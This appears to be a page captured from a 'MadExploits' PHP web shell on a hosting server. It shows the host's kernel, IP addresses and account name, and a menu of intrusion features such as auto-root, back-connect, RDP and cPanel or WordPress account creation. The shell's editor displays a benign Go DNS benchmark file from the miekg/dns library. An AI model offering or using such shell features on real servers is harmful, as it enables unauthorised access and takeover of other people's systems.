Linux id-dci-web1412.main-hosting.eu 5.14.0-611.20.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jan 14 06:35:04 EST 2026 x86_64
LiteSpeed
: 2a02:4780:6:1512:0:19fc:adf1:2 | : 216.73.216.85
Cant Read [ /etc/named.conf ]
8.1.34
u435990001
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
opt /
go /
pkg /
mod /
github.com /
miekg /
dns@v1.1.41 /
[ HOME SHELL ]
Name
Size
Permission
Action
.github
[ DIR ]
dr-xr-xr-x
dnsutil
[ DIR ]
dr-xr-xr-x
.codecov.yml
128
B
-r--r--r--
.gitignore
24
B
-r--r--r--
AUTHORS
27
B
-r--r--r--
CODEOWNERS
18
B
-r--r--r--
CONTRIBUTORS
150
B
-r--r--r--
COPYRIGHT
512
B
-r--r--r--
LICENSE
1.58
KB
-r--r--r--
Makefile.fuzz
671
B
-r--r--r--
Makefile.release
992
B
-r--r--r--
README.md
5.83
KB
-r--r--r--
acceptfunc.go
1.83
KB
-r--r--r--
acceptfunc_test.go
859
B
-r--r--r--
client.go
13.88
KB
-r--r--r--
client_test.go
16.25
KB
-r--r--r--
clientconfig.go
3.3
KB
-r--r--r--
clientconfig_test.go
4.63
KB
-r--r--r--
dane.go
997
B
-r--r--r--
defaults.go
10.3
KB
-r--r--r--
dns.go
4.34
KB
-r--r--r--
dns_bench_test.go
9.42
KB
-r--r--r--
dns_test.go
9.95
KB
-r--r--r--
dnssec.go
18.32
KB
-r--r--r--
dnssec_keygen.go
3.1
KB
-r--r--r--
dnssec_keyscan.go
6.16
KB
-r--r--r--
dnssec_privkey.go
2.27
KB
-r--r--r--
dnssec_test.go
28.57
KB
-r--r--r--
doc.go
10.54
KB
-r--r--r--
duplicate.go
953
B
-r--r--r--
duplicate_generate.go
3.95
KB
-r--r--r--
duplicate_test.go
3.77
KB
-r--r--r--
dyn_test.go
37
B
-r--r--r--
edns.go
19.69
KB
-r--r--r--
edns_test.go
3.09
KB
-r--r--r--
example_test.go
3.12
KB
-r--r--r--
format.go
2.4
KB
-r--r--r--
format_test.go
279
B
-r--r--r--
fuzz.go
536
B
-r--r--r--
fuzz_test.go
7.54
KB
-r--r--r--
generate.go
4.97
KB
-r--r--r--
generate_test.go
6.93
KB
-r--r--r--
go.mod
210
B
-r--r--r--
go.sum
1
KB
-r--r--r--
issue_test.go
1.19
KB
-r--r--r--
labels.go
4.11
KB
-r--r--r--
labels_test.go
7.88
KB
-r--r--r--
leak_test.go
1.81
KB
-r--r--r--
length_test.go
20.49
KB
-r--r--r--
listen_go111.go
881
B
-r--r--r--
listen_go_not111.go
485
B
-r--r--r--
msg.go
31.99
KB
-r--r--r--
msg_generate.go
10.22
KB
-r--r--r--
msg_helpers.go
21.54
KB
-r--r--r--
msg_helpers_test.go
11.86
KB
-r--r--r--
msg_test.go
9.12
KB
-r--r--r--
msg_truncate.go
3.4
KB
-r--r--r--
msg_truncate_test.go
5
KB
-r--r--r--
nsecx.go
2.38
KB
-r--r--r--
nsecx_test.go
4.77
KB
-r--r--r--
parse_test.go
65.88
KB
-r--r--r--
privaterr.go
3.23
KB
-r--r--r--
privaterr_test.go
3.51
KB
-r--r--r--
reverse.go
1.32
KB
-r--r--r--
rr_test.go
191
B
-r--r--r--
sanitize.go
1.98
KB
-r--r--r--
sanitize_test.go
2
KB
-r--r--r--
scan.go
29.12
KB
-r--r--r--
scan_rr.go
40.59
KB
-r--r--r--
scan_test.go
8.88
KB
-r--r--r--
serve_mux.go
3.37
KB
-r--r--r--
serve_mux_test.go
1.63
KB
-r--r--r--
server.go
21.53
KB
-r--r--r--
server_test.go
31.38
KB
-r--r--r--
sig0.go
4.59
KB
-r--r--r--
sig0_test.go
2.23
KB
-r--r--r--
singleinflight.go
1.56
KB
-r--r--r--
smimea.go
1.33
KB
-r--r--r--
svcb.go
19.95
KB
-r--r--r--
svcb_test.go
2.48
KB
-r--r--r--
tlsa.go
1.1
KB
-r--r--r--
tsig.go
10.98
KB
-r--r--r--
tsig_test.go
10.75
KB
-r--r--r--
types.go
36.03
KB
-r--r--r--
types_generate.go
8.63
KB
-r--r--r--
types_test.go
4.31
KB
-r--r--r--
udp.go
2.9
KB
-r--r--r--
udp_test.go
4.41
KB
-r--r--r--
udp_windows.go
1.15
KB
-r--r--r--
update.go
3.08
KB
-r--r--r--
update_test.go
4.38
KB
-r--r--r--
version.go
275
B
-r--r--r--
version_test.go
180
B
-r--r--r--
xfr.go
6.57
KB
-r--r--r--
xfr_test.go
2.72
KB
-r--r--r--
zduplicate.go
20.23
KB
-r--r--r--
zmsg.go
59.75
KB
-r--r--r--
ztypes.go
29.52
KB
-r--r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : dns_bench_test.go
package dns import ( "fmt" "net" "testing" ) func BenchmarkMsgLength(b *testing.B) { b.StopTimer() makeMsg := func(question string, ans, ns, e []RR) *Msg { msg := new(Msg) msg.SetQuestion(Fqdn(question), TypeANY) msg.Answer = append(msg.Answer, ans...) msg.Ns = append(msg.Ns, ns...) msg.Extra = append(msg.Extra, e...) msg.Compress = true return msg } name1 := "12345678901234567890123456789012345.12345678.123." rrMx := testRR(name1 + " 3600 IN MX 10 " + name1) msg := makeMsg(name1, []RR{rrMx, rrMx}, nil, nil) b.StartTimer() for i := 0; i < b.N; i++ { msg.Len() } } func BenchmarkMsgLengthNoCompression(b *testing.B) { b.StopTimer() makeMsg := func(question string, ans, ns, e []RR) *Msg { msg := new(Msg) msg.SetQuestion(Fqdn(question), TypeANY) msg.Answer = append(msg.Answer, ans...) msg.Ns = append(msg.Ns, ns...) msg.Extra = append(msg.Extra, e...) return msg } name1 := "12345678901234567890123456789012345.12345678.123." rrMx := testRR(name1 + " 3600 IN MX 10 " + name1) msg := makeMsg(name1, []RR{rrMx, rrMx}, nil, nil) b.StartTimer() for i := 0; i < b.N; i++ { msg.Len() } } func BenchmarkMsgLengthPack(b *testing.B) { makeMsg := func(question string, ans, ns, e []RR) *Msg { msg := new(Msg) msg.SetQuestion(Fqdn(question), TypeANY) msg.Answer = append(msg.Answer, ans...) msg.Ns = append(msg.Ns, ns...) msg.Extra = append(msg.Extra, e...) msg.Compress = true return msg } name1 := "12345678901234567890123456789012345.12345678.123." rrMx := testRR(name1 + " 3600 IN MX 10 " + name1) msg := makeMsg(name1, []RR{rrMx, rrMx}, nil, nil) b.ResetTimer() for i := 0; i < b.N; i++ { _, _ = msg.Pack() } } func BenchmarkMsgLengthMassive(b *testing.B) { makeMsg := func(question string, ans, ns, e []RR) *Msg { msg := new(Msg) msg.SetQuestion(Fqdn(question), TypeANY) msg.Answer = append(msg.Answer, ans...) msg.Ns = append(msg.Ns, ns...) msg.Extra = append(msg.Extra, e...) msg.Compress = true return msg } const name1 = "12345678901234567890123456789012345.12345678.123." rrMx := testRR(name1 + " 3600 IN MX 10 " + name1) answer := []RR{rrMx, rrMx} for i := 0; i < 128; i++ { rrA := testRR(fmt.Sprintf("example%03d.something%03delse.org. 2311 IN A 127.0.0.1", i/32, i%32)) answer = append(answer, rrA) } answer = append(answer, rrMx, rrMx) msg := makeMsg(name1, answer, nil, nil) b.ResetTimer() for i := 0; i < b.N; i++ { msg.Len() } } func BenchmarkMsgLengthOnlyQuestion(b *testing.B) { msg := new(Msg) msg.SetQuestion(Fqdn("12345678901234567890123456789012345.12345678.123."), TypeANY) msg.Compress = true b.ResetTimer() for i := 0; i < b.N; i++ { msg.Len() } } func BenchmarkMsgLengthEscapedName(b *testing.B) { msg := new(Msg) msg.SetQuestion(`\1\2\3\4\5\6\7\8\9\0\1\2\3\4\5\6\7\8\9\0\1\2\3\4\5\6\7\8\9\0\1\2\3\4\5.\1\2\3\4\5\6\7\8.\1\2\3.`, TypeANY) b.ResetTimer() for i := 0; i < b.N; i++ { msg.Len() } } func BenchmarkPackDomainName(b *testing.B) { name1 := "12345678901234567890123456789012345.12345678.123." buf := make([]byte, len(name1)+1) b.ResetTimer() for i := 0; i < b.N; i++ { _, _ = PackDomainName(name1, buf, 0, nil, false) } } func BenchmarkUnpackDomainName(b *testing.B) { name1 := "12345678901234567890123456789012345.12345678.123." buf := make([]byte, len(name1)+1) _, _ = PackDomainName(name1, buf, 0, nil, false) b.ResetTimer() for i := 0; i < b.N; i++ { _, _, _ = UnpackDomainName(buf, 0) } } func BenchmarkUnpackDomainNameUnprintable(b *testing.B) { name1 := "\x02\x02\x02\x025\x02\x02\x02\x02.12345678.123." buf := make([]byte, len(name1)+1) _, _ = PackDomainName(name1, buf, 0, nil, false) b.ResetTimer() for i := 0; i < b.N; i++ { _, _, _ = UnpackDomainName(buf, 0) } } func BenchmarkUnpackDomainNameLongest(b *testing.B) { buf := make([]byte, len(longestDomain)+1) n, err := PackDomainName(longestDomain, buf, 0, nil, false) if err != nil { b.Fatal(err) } if n != maxDomainNameWireOctets { b.Fatalf("name wrong size in wire format, expected %d, got %d", maxDomainNameWireOctets, n) } b.ResetTimer() for i := 0; i < b.N; i++ { _, _, _ = UnpackDomainName(buf, 0) } } func BenchmarkUnpackDomainNameLongestUnprintable(b *testing.B) { buf := make([]byte, len(longestUnprintableDomain)+1) n, err := PackDomainName(longestUnprintableDomain, buf, 0, nil, false) if err != nil { b.Fatal(err) } if n != maxDomainNameWireOctets { b.Fatalf("name wrong size in wire format, expected %d, got %d", maxDomainNameWireOctets, n) } b.ResetTimer() for i := 0; i < b.N; i++ { _, _, _ = UnpackDomainName(buf, 0) } } func BenchmarkCopy(b *testing.B) { b.ReportAllocs() m := new(Msg) m.SetQuestion("miek.nl.", TypeA) rr := testRR("miek.nl. 2311 IN A 127.0.0.1") m.Answer = []RR{rr} rr = testRR("miek.nl. 2311 IN NS 127.0.0.1") m.Ns = []RR{rr} rr = testRR("miek.nl. 2311 IN A 127.0.0.1") m.Extra = []RR{rr} b.ResetTimer() for i := 0; i < b.N; i++ { m.Copy() } } func BenchmarkPackA(b *testing.B) { a := &A{Hdr: RR_Header{Name: ".", Rrtype: TypeA, Class: ClassANY}, A: net.IPv4(127, 0, 0, 1)} buf := make([]byte, Len(a)) b.ReportAllocs() b.ResetTimer() for i := 0; i < b.N; i++ { _, _ = PackRR(a, buf, 0, nil, false) } } func BenchmarkUnpackA(b *testing.B) { a := &A{Hdr: RR_Header{Name: ".", Rrtype: TypeA, Class: ClassANY}, A: net.IPv4(127, 0, 0, 1)} buf := make([]byte, Len(a)) PackRR(a, buf, 0, nil, false) a = nil b.ReportAllocs() b.ResetTimer() for i := 0; i < b.N; i++ { _, _, _ = UnpackRR(buf, 0) } } func BenchmarkPackMX(b *testing.B) { m := &MX{Hdr: RR_Header{Name: ".", Rrtype: TypeA, Class: ClassANY}, Mx: "mx.miek.nl."} buf := make([]byte, Len(m)) b.ReportAllocs() b.ResetTimer() for i := 0; i < b.N; i++ { _, _ = PackRR(m, buf, 0, nil, false) } } func BenchmarkUnpackMX(b *testing.B) { m := &MX{Hdr: RR_Header{Name: ".", Rrtype: TypeA, Class: ClassANY}, Mx: "mx.miek.nl."} buf := make([]byte, Len(m)) PackRR(m, buf, 0, nil, false) m = nil b.ReportAllocs() b.ResetTimer() for i := 0; i < b.N; i++ { _, _, _ = UnpackRR(buf, 0) } } func BenchmarkPackAAAAA(b *testing.B) { aaaa := testRR(". IN AAAA ::1") buf := make([]byte, Len(aaaa)) b.ReportAllocs() b.ResetTimer() for i := 0; i < b.N; i++ { _, _ = PackRR(aaaa, buf, 0, nil, false) } } func BenchmarkUnpackAAAA(b *testing.B) { aaaa := testRR(". IN AAAA ::1") buf := make([]byte, Len(aaaa)) PackRR(aaaa, buf, 0, nil, false) aaaa = nil b.ReportAllocs() b.ResetTimer() for i := 0; i < b.N; i++ { _, _, _ = UnpackRR(buf, 0) } } func BenchmarkPackMsg(b *testing.B) { makeMsg := func(question string, ans, ns, e []RR) *Msg { msg := new(Msg) msg.SetQuestion(Fqdn(question), TypeANY) msg.Answer = append(msg.Answer, ans...) msg.Ns = append(msg.Ns, ns...) msg.Extra = append(msg.Extra, e...) msg.Compress = true return msg } name1 := "12345678901234567890123456789012345.12345678.123." rrMx := testRR(name1 + " 3600 IN MX 10 " + name1) msg := makeMsg(name1, []RR{rrMx, rrMx}, nil, nil) buf := make([]byte, 512) b.ReportAllocs() b.ResetTimer() for i := 0; i < b.N; i++ { _, _ = msg.PackBuffer(buf) } } func BenchmarkPackMsgMassive(b *testing.B) { makeMsg := func(question string, ans, ns, e []RR) *Msg { msg := new(Msg) msg.SetQuestion(Fqdn(question), TypeANY) msg.Answer = append(msg.Answer, ans...) msg.Ns = append(msg.Ns, ns...) msg.Extra = append(msg.Extra, e...) msg.Compress = true return msg } const name1 = "12345678901234567890123456789012345.12345678.123." rrMx := testRR(name1 + " 3600 IN MX 10 " + name1) answer := []RR{rrMx, rrMx} for i := 0; i < 128; i++ { rrA := testRR(fmt.Sprintf("example%03d.something%03delse.org. 2311 IN A 127.0.0.1", i/32, i%32)) answer = append(answer, rrA) } answer = append(answer, rrMx, rrMx) msg := makeMsg(name1, answer, nil, nil) buf := make([]byte, 512) b.ReportAllocs() b.ResetTimer() for i := 0; i < b.N; i++ { _, _ = msg.PackBuffer(buf) } } func BenchmarkPackMsgOnlyQuestion(b *testing.B) { msg := new(Msg) msg.SetQuestion(Fqdn("12345678901234567890123456789012345.12345678.123."), TypeANY) msg.Compress = true buf := make([]byte, 512) b.ReportAllocs() b.ResetTimer() for i := 0; i < b.N; i++ { _, _ = msg.PackBuffer(buf) } } func BenchmarkUnpackMsg(b *testing.B) { makeMsg := func(question string, ans, ns, e []RR) *Msg { msg := new(Msg) msg.SetQuestion(Fqdn(question), TypeANY) msg.Answer = append(msg.Answer, ans...) msg.Ns = append(msg.Ns, ns...) msg.Extra = append(msg.Extra, e...) msg.Compress = true return msg } name1 := "12345678901234567890123456789012345.12345678.123." rrMx := testRR(name1 + " 3600 IN MX 10 " + name1) msg := makeMsg(name1, []RR{rrMx, rrMx}, nil, nil) msgBuf, _ := msg.Pack() b.ReportAllocs() b.ResetTimer() for i := 0; i < b.N; i++ { _ = msg.Unpack(msgBuf) } } func BenchmarkIdGeneration(b *testing.B) { for i := 0; i < b.N; i++ { _ = id() } } func BenchmarkReverseAddr(b *testing.B) { b.Run("IP4", func(b *testing.B) { for n := 0; n < b.N; n++ { addr, err := ReverseAddr("192.0.2.1") if err != nil { b.Fatal(err) } if expect := "1.2.0.192.in-addr.arpa."; addr != expect { b.Fatalf("invalid reverse address, expected %q, got %q", expect, addr) } } }) b.Run("IP6", func(b *testing.B) { for n := 0; n < b.N; n++ { addr, err := ReverseAddr("2001:db8::68") if err != nil { b.Fatal(err) } if expect := "8.6.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.8.b.d.0.1.0.0.2.ip6.arpa."; addr != expect { b.Fatalf("invalid reverse address, expected %q, got %q", expect, addr) } } }) }
Close